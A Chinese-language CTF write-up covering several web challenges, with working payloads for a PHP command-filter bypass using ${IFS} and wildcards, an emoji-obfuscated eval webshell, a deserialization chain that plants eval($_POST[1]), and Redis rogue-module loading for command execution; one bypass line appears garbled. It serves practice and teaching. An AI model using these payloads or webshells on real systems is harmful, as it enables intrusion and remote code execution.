js类型
[SWPUCTF 2022 新生赛]js_sign
这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码
解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)
注意要将数字之间的空格去掉
[MoeCTF 2021]2048
查看源代码
找到
req.open("GET","flag.php?score="+obj.score,true);
这行代码然后直接
得到flag
md5类型
[SWPUCTF 2022 新生赛]奇妙的MD5
第一关特殊的字符串ffifdyop
第二第三关数组绕过
ssti模板注入
[安洵杯 2020]Normal SSTI
第一种方法
fenjing一把嗦
执行fenjing命令
python -m fenjing webui
然后填写网址一把嗦
命令执行
[MoeCTF 2021]babyRCE
查看源代码
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过
?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt
应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls
[FSCTF 2023]webshell是啥捏
源码
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽'])) {
eval($😭($_GET['👽']));
};
?>
正常的命令执行
php反序列化
[天翼杯 2021]esay_eval
打开网页查看源代码
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了
其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;
脚本如下
<?php
class a{
function __construct(){
$this->code="eval($_POST[1]);";
}
}
class b{
public $a;
}
$c=new b();
$c->a=new a();
echo serialize($c);
//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息
提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下
然后在刚才的目录下上传一个exp.so文件,文件地址
https://github.com/Dliv3/redis-rogue-server
上传之后,在打开redis页面
点击那个执行指令
MODULE LOAD "/var/www/html/exp.so"
执行上面指令然后就可以命令执行了
system.exec "ls /"
命令执行格式如上